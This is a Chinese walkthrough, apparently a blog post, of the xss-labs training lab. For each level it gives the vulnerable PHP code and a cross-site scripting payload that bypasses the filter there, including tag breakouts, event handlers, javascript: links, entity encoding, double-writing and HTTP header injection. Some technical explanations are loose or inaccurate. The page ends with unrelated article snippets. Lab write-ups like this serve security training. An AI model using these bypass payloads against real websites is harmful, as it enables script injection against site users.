当前位置: 首页 > news >正文

xss-labs-master通关教程

一.level1

先来进行一下代码审计

<?php 
ini_set("display_errors", 0);//关闭错误显示
$str = $_GET["name"]; //接受URL来的get形式的name传参
echo "<h2 align=center>欢迎用户".$str."</h2>";//在网页输出,并不是echo执行的,而是echo把HTML代码发送到浏览器,浏览器对发送的HTML代码进行执行
?>

从代码中发现这段代码没有对用户的输入进行任何的过滤,所以我们尝试执行js代码进行弹窗

可以看到在这里传入name参数

尝试执行js弹窗

成功执行

二.level2(闭合绕过)

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

htmlspecialchars($str):对$str字符串中的特殊字符进行HTML实体化转义,比如<,>,&,",' 等

我们可以发现这个$str没有注入点,但是我们能发现下面这句代码中也有$str并且没有被转义

<input name=keyword  value="'.$str.'">
playload:"><script>alert(1)</script><"

因为注入点在<input>这个标签的value这个值中所以我们需要闭合标签并执行

或者使用动作触发

playload:" onmouseover = "alert()

左面的双引号闭合左面的,右面的双引号闭合右面的,必须要鼠标去触摸搜索框才能触发

三.level3(触发绕过)

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

这关发现他把value里的$str也进行了转义,我们就不能用普通的js代码了,可用用动作触发

四.level4(触发绕过)

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);//这里把>替换成了空
$str3=str_replace("<","",$str2);//这里把<替换成了空
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

我们发现第一处和上面的都一样,所以主要看第二处,这里发现他把>和<全部置换为空了

我们可以看到<和>全都没了,所以就不能用了,可以用动作触发

五.level5(伪协议绕过)

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);//全部变成小写
$str2=str_replace("<script","<scr_ipt",$str);//把script替换掉了
$str3=str_replace("on","o_n",$str2);//把on也替换掉了
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<cen

我们发现他把script和on都进行了过滤,所以大部分的动作触发用不了了,作者了解不多知道的都带on,所以我们可以用<a>标签配合着js的为协议进行注入

playload:"><a href = "javascript:alert(1)" ></a> <"

点击XSS链接即可注入成功

六.level6(大小写绕过)

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);//替换script
$str3=str_replace("on","o_n",$str2);//替换on
$str4=str_replace("src","sr_c",$str3);//替换src
$str5=str_replace("data","da_ta",$str4);//替换data
$str6=str_replace("href","hr_ef",$str5);//替换href
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

和前几关一样就是替换的多了href,src,data。这题和第5关有个区别就是他没有进行字符小写的转化,所以可以采用大小写绕过的方式

playload:"><Script>alert(/1/)</Script><"

七.level7(双写绕过)

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

这关就是把前两关和起来了,把href,script,on,src,data都过滤了,并且把字符全转化为为小写的了

所以我们可以采用双写绕过,因为他只转化了一次

playload:"><scscriptript>alert(/1/)</scscriptript><"


八.level8(href隐藏特性:自动unicode解码)

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>

这段php代码中没有注入点,那我们看看下面的php代码

<?phpecho '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>

我们发现传进去了一个链接,这里普及一个小知识:href属性在某些情况下具有自动Unicode解码的特性。这意味着,如果href属性中包含了Unicode编码的JavaScript代码或其他脚本,浏览器在解析时可能会自动将这些Unicode编码解码为相应的字符,从而执行这些脚本。

playload:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

点击友情链接即可注入

九.level9(href隐藏特性:自动unicode解码)

<?php
if(false===strpos($str7,'http://'))
{echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';}
else
{echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

和第8关一样只不过多了一次判断必须得带有http://才行

playload:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;/*http://*/

这里肯定有很多人好奇为什么不能放在前面的,下面做一些解释

为什么放在前面不好使?

当你将 /*http://*/ 放在前面时,浏览器在解析这个 href 属性时会遇到一些非标准的字符序列。由于 /* 并不是URL的有效开始部分(除非它出现在CSS或JavaScript注释中,但这在HTML的 href 属性中不适用),浏览器可能会忽略它,或者尝试将其解析为URL的一部分但失败。由于URL的解析是从左到右进行的,如果开头的部分无法被识别为有效的URL协议或路径,那么整个URL可能会被视为无效。

为什么放在后面好使?

当你将 /*http://*/ 放在后面时,情况就不同了。此时,javascript: 协议已经被正确识别,并且JavaScript代码 alert(1); 也被正确编码并包含在URL中。由于浏览器的解析机制是从左到右的,并且已经识别并处理了有效的URL协议和JavaScript代码,因此它可能会忽略掉URL末尾的注释部分(尽管这不是标准的URL行为,但浏览器可能会选择性地忽略它)。

十.level10(t_sort传参)

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

从这段代码来看keyword参数没有任何注入点,只能尝试t_sort参数,他只过滤了>和<所以可以进行触发绕过,并且把隐藏框显示出来

playload:t_sort=" onfocus=javascript:alert(1)  type = text"

十一.level11(referer传参)

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

这里可以看到keyword和t_sort都没有注入点了,只能看HTTP_REFERER了,可以看到过滤了<,>

$_SERVER['HTTP_REFERER'];不可以通过URL来传参,所以我们需要抓包

我们需要使用BP进行抓包分析

修改一下referer字段

触碰一下搜索框

十二.level12(UA头传参)

<h1 align=center>欢迎来到level12</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

这关与上面差的就是从referer字段变成了user_agent字段,抓包把user_agent的头部修改一下

十三.level13(cookie传参)

<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

这和前俩都差不多只是更改为cookie头,因为他是用user传参的所以我们要写user=playload

*

十四.level14(网站没了做不了)

十五.level15(网站包含)

<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

可以看到这儿有个陌生的东西ng-include:ng-include 是 AngularJS 框架中的一个指令,用于在 AngularJS 应用中动态地包含 HTML 内容。这个指令允许你将外部 HTML 文件的内容或者 AngularJS 应用内部定义的 HTML 片段插入到当前视图的指定位置。这使得你可以复用 HTML 模板,提高了代码的可维护性和可重用性。

我们可以把任何一关包含进来比如第一关

playload:?src='/level1.php'

在对第一关进行注入

点击用户后面的图片即可

十六.level16(回车替换空格)

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>

test插入到了center标签中,所以这里就不用闭合了,对比发现,这里先是将字母小写化了,再把script替换成空格,最后将空格给实体化,想尝试一下p标签<p οnmοusedοwn=alert()>abc</p>,谁知道也将/给替换成了空格

果然给过掉了,空格可以用回车来代替绕过,回车的url编码是%0a,再配合上不用/的<img>、<details>、<svg>等标签,更多标签可参考XSS常见的触发标签

随便选个标签,将空格替换成回车的url编码,构造payload

playload:?keyword=<svg%0Aonload=alert(1)>

后面的关卡都用上flash,小编没有就不做解释了

相关文章:

xss-labs-master通关教程

一.level1 先来进行一下代码审计 <?php ini_set("display_errors", 0);//关闭错误显示 $str $_GET["name"]; //接受URL来的get形式的name传参 echo "<h2 aligncenter>欢迎用户".$str."</h2>";//在网页输出&#x…...

断点回归模型

断点回归&#xff08;Regression Discontinuity Design, RDD&#xff09;是一种准实验设计方法&#xff0c;用于评估政策或其他干预措施的效果。这种方法利用了一个清晰的阈值或“断点”&#xff0c;在这个阈值上&#xff0c;处理状态&#xff08;例如是否接受某种干预&#xf…...

app广告推送常见业务术语

DAU: 日活跃用户(Daily Active Users) GMV: 商品交易总额&#xff08;Gross Merchandise Volume&#xff09; DSP&#xff1d;demand side platform&#xff1d;需求方平台 DMP&#xff1d;data management platform数据管理平台 ADX&#xff1d;ad exchange&#xff1d;广告交…...

2024/9/11 小型PLC典型应用2:伺服canlink配置、指令、应用

下面这个指令需要设置伺服的急停方式&#xff08;例如&#xff1a;惯性停机、急停等等&#xff09; 通讯故障步骤排查 1&#xff1a;接线问题 2&#xff1a;配置问题&#xff08;波特率.....&#xff09;...

在IDEA中如何创建web项目?——不使用Archetype

二、不使用Archetype 1、创建Maven项目 &#xff08;1&#xff09;首先打开Project Structure&#xff1a;File——>Project Structure或者快捷键crtlaltshifts &#xff08;2&#xff09;Module——>New Module&#xff1a; &#xff08;3&#xff09;在新打开的页面下…...

基于C#+SQL Server2008 开发三层架构(CS界面)图书管理系统

图书管理系统 一、项目背景及意义 当今由于信息技术的飞速发展&#xff0c;图书馆作为社会知识信息媒介的功能日益重要&#xff0c;网络环境下的信息资源建设知识仓库的设计&#xff0c;开放存取学术交流模式&#xff0c;知识管理系统&#xff0c;智能检索&#xff0c;数字参…...

AIGC简化文件管理:Python自动重命名Word和PDF文件

1.背景 大家应该也有遇到&#xff0c;自己电脑有很多文件命名不合理的文件&#xff0c;比如&#xff1a;文件1、想法3 &#xff0c;当你长时间再看到这个文件的时候&#xff0c;已经很难知道文件内容。 今天我们将借助AIGC的编码能力&#xff0c;帮我们生成一个批量改文件名的…...

产线工控安全之防勒索病毒杀手锏

在当今数字化时代&#xff0c;数据安全已成为企业运营中不可或缺的一部分。勒索病毒和内部泄密事件的频发&#xff0c;使得企业必须采取更为严格的安全措施来保护其关键数据和运营系统。苏州深信达网络科技推出的MCK主机加固解决方案&#xff0c;正是为了应对这些挑战而设计的。…...

超详细超实用!!!网站开发页面适配360浏览器兼容模式

云风网 云风笔记 云风知识库 开发网站偶尔会遇到需要兼容ie的需求&#xff0c;这里以360浏览器为例&#xff0c;360浏览器是基于Chrome和IE双核浏览器&#xff0c;在极速模式下是跟谷歌浏览器内核一致的&#xff0c;兼容模式下的内核是IE内核。这里尤其是360兼容模式下&#x…...

【Redis】主从复制 - 源码

因为主从复制的过程很复杂, 同时核心逻辑主要集中在 replication.c 这个文件中, 避免篇幅过大, 所以将主从复制中涉及这个文件的代码集中到了另一篇文章。 在当前文章主要分析主从复制的大体代码逻辑, 如果需要了解整体的过程, 可以配合 Redis 主从复制 - relication 源码分析 …...

Redis:缓存击穿

缓存击穿(热点key)&#xff1a; 部分key(被高并发访问且缓存重建业务复杂的)失效,无数请求会直接到数据库&#xff0c;造成巨大压力 1.互斥锁&#xff1a;可以保证强一致性 线程一&#xff1a;未命中之后&#xff0c;获取互斥锁&#xff0c;再查询数据库重建缓存&#xff0c;写…...

一文说清什么是数据仓库

01 数据仓库的概念 数据仓库的概念可以追溯到20世纪80年代&#xff0c;当时IBM的研究人员开发出了“商业数据仓库”。本质上&#xff0c;数据仓库试图提供一种从操作型系统到决策支持环境的数据流架构模型。 目前对数据仓库&#xff08;Data Warehouse&#xff09;的标准定义&a…...

【算法】哈希表相关

【ps】本篇有 5 道 leetcode OJ。 一、算法简介 哈希表是一种存储数据的容器&#xff0c;可以快速查找某个元素&#xff0c;其查找的时间复杂度为 O(1)&#xff0c;非常合适需要频繁查找某一个元素的场景。其具体用法为&#xff1a; 直接使用底层为哈希表的 STL 容器。用数组…...

企微机器人:企业数字化转型的得力助手

在数字化转型的浪潮中&#xff0c;企业对于提高运营效率、降低人力成本的需求日益迫切。企微机器人&#xff0c;作为基于企业微信平台开发的一种智能工具&#xff0c;以其高度自动化、灵活性强、安全性高和易于使用的特点&#xff0c;迅速成为企业内部的得力助手。本文将深入探…...

Linux编程之socket入门教程 socket通讯原理

在Linux网络编程中&#xff0c;套接字Socket是进程间通信的基础&#xff0c;用来在网络上不同主机间进行数据的发送和接收。套接字作为一种抽象的接口&#xff0c;它屏蔽了底层网络协议的复杂性&#xff0c;使得开发者可以专注于数据的传输。以下将详细介绍Linux网络编程中的So…...

Windows上安装RabbitMQ

rabbitmq是干嘛的我就不介绍了&#xff0c;直接开始安装教程。 搭建成功演示图 下载安装包 https://pan.baidu.com/s/1ZlCFxh9Q00ynSU3ZCpTC9Q?pwdry51​pan.baidu.com/s/1ZlCFxh9Q00ynSU3ZCpTC9Q?pwdry51 下载完后有两个包(erlang和rabbitmq) 先安装otp_win64_24.1.7.exe…...

【C++ 高频面试题】构造函数和析构函数你了解多少呢?

文章目录 1. 什么是构造函数和析构函数2. 构造函数和析构函数可以是虚函数吗3. 构造函数有哪几种4. 深拷贝和浅拷贝的区别 1. 什么是构造函数和析构函数 &#x1f427; 构造函数&#xff1a; 构造函数是在创建对象时自动调用的特殊成员函数。 目的&#xff1a;初始化对象的成…...

linux中vim介绍以及常用命令大全

前言 在Linux系统中&#xff0c;Vim是一个功能强大的文本编辑器&#xff0c;它广泛应用于服务器管理、脚本编写和程序开发中。Vim拥有两种模式&#xff1a;命令模式和插入模式。了解和掌握常用的Vim命令对于提高文本编辑效率至关重要。本文将详细介绍Vim的常用命令&#xff0c…...

线性代数 第六讲 特征值和特征向量_相似对角化_实对称矩阵_重点题型总结详细解析

文章目录 1.特征值和特征向量1.1 特征值和特征向量的定义1.2 特征值和特征向量的求法1.3 特征值特征向量的主要结论 2.相似2.1 相似的定义2.2 相似的性质2.3 相似的结论 3.相似对角化4.实对称矩阵4.1 实对称矩阵的基本性质4.2 施密特正交化 5.重难点题型总结5.1 判断矩阵能否相…...

CSS“多列布局”(补充)——WEB开发系列35

多列布局是一种非常常见的布局方式&#xff0c;适用于内容丰富的页面&#xff0c;如新闻网站、杂志或博客。 一、CSS多列布局概述 CSS多列布局允许我们将内容分成多个垂直列&#xff0c;使页面布局更加灵活和多样化。多列布局的主要属性包括 ​​column-count​​、​​column…...

生成xcframework

打包 XCFramework 的方法 XCFramework 是苹果推出的一种多平台二进制分发格式&#xff0c;可以包含多个架构和平台的代码。打包 XCFramework 通常用于分发库或框架。 使用 Xcode 命令行工具打包 通过 xcodebuild 命令可以打包 XCFramework。确保项目已经配置好需要支持的平台…...

Prompt Tuning、P-Tuning、Prefix Tuning的区别

一、Prompt Tuning、P-Tuning、Prefix Tuning的区别 1. Prompt Tuning(提示调优) 核心思想:固定预训练模型参数,仅学习额外的连续提示向量(通常是嵌入层的一部分)。实现方式:在输入文本前添加可训练的连续向量(软提示),模型只更新这些提示参数。优势:参数量少(仅提…...

逻辑回归:给不确定性划界的分类大师

想象你是一名医生。面对患者的检查报告&#xff08;肿瘤大小、血液指标&#xff09;&#xff0c;你需要做出一个**决定性判断**&#xff1a;恶性还是良性&#xff1f;这种“非黑即白”的抉择&#xff0c;正是**逻辑回归&#xff08;Logistic Regression&#xff09;** 的战场&a…...

23-Oracle 23 ai 区块链表(Blockchain Table)

小伙伴有没有在金融强合规的领域中遇见&#xff0c;必须要保持数据不可变&#xff0c;管理员都无法修改和留痕的要求。比如医疗的电子病历中&#xff0c;影像检查检验结果不可篡改行的&#xff0c;药品追溯过程中数据只可插入无法删除的特性需求&#xff1b;登录日志、修改日志…...

安宝特方案丨XRSOP人员作业标准化管理平台:AR智慧点检验收套件

在选煤厂、化工厂、钢铁厂等过程生产型企业&#xff0c;其生产设备的运行效率和非计划停机对工业制造效益有较大影响。 随着企业自动化和智能化建设的推进&#xff0c;需提前预防假检、错检、漏检&#xff0c;推动智慧生产运维系统数据的流动和现场赋能应用。同时&#xff0c;…...

如何在看板中体现优先级变化

在看板中有效体现优先级变化的关键措施包括&#xff1a;采用颜色或标签标识优先级、设置任务排序规则、使用独立的优先级列或泳道、结合自动化规则同步优先级变化、建立定期的优先级审查流程。其中&#xff0c;设置任务排序规则尤其重要&#xff0c;因为它让看板视觉上直观地体…...

Objective-C常用命名规范总结

【OC】常用命名规范总结 文章目录 【OC】常用命名规范总结1.类名&#xff08;Class Name)2.协议名&#xff08;Protocol Name)3.方法名&#xff08;Method Name)4.属性名&#xff08;Property Name&#xff09;5.局部变量/实例变量&#xff08;Local / Instance Variables&…...

C++ 基础特性深度解析

目录 引言 一、命名空间&#xff08;namespace&#xff09; C 中的命名空间​ 与 C 语言的对比​ 二、缺省参数​ C 中的缺省参数​ 与 C 语言的对比​ 三、引用&#xff08;reference&#xff09;​ C 中的引用​ 与 C 语言的对比​ 四、inline&#xff08;内联函数…...

视频字幕质量评估的大规模细粒度基准

大家读完觉得有帮助记得关注和点赞&#xff01;&#xff01;&#xff01; 摘要 视频字幕在文本到视频生成任务中起着至关重要的作用&#xff0c;因为它们的质量直接影响所生成视频的语义连贯性和视觉保真度。尽管大型视觉-语言模型&#xff08;VLMs&#xff09;在字幕生成方面…...

Android Bitmap治理全解析:从加载优化到泄漏防控的全生命周期管理

引言 Bitmap&#xff08;位图&#xff09;是Android应用内存占用的“头号杀手”。一张1080P&#xff08;1920x1080&#xff09;的图片以ARGB_8888格式加载时&#xff0c;内存占用高达8MB&#xff08;192010804字节&#xff09;。据统计&#xff0c;超过60%的应用OOM崩溃与Bitm…...